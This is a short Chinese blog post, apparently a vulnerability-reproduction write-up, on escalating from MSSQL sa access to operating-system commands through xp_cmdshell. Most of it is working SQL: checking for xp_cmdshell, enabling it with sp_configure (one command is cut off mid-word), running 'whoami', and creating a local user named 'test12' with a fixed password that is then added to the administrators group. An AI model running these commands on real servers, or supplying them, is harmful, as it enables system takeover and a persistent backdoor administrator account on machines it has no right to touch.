【漏洞复现】MSSQL xp_cmdshell提权漏洞

  1. 【漏洞复现】MSSQL xp_cmdshell提权漏洞
  2. 利用

【漏洞复现】MSSQL xp_cmdshell提权漏洞

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除。

利用前提

Mssql数据库服务未降权(sa权限)
已获取到数据库密码

利用

获取sa账号密码后,连接上数据库,从dbo.sysobjects中查询,判断xp_cmdshell状态。有返回则为已开启。

//有返回即已开启,xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
//只用判断存在,利用count(*)即可,返回1即存在。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
//利用EXEC启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGU

利用xp_cmdshell执行命令,通过xp_cmdshell执行系统命令指令如下

exec master..xp_cmdshell 'whoami'

image-20230315194527733

//添加账号test 密码123.com的用户
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。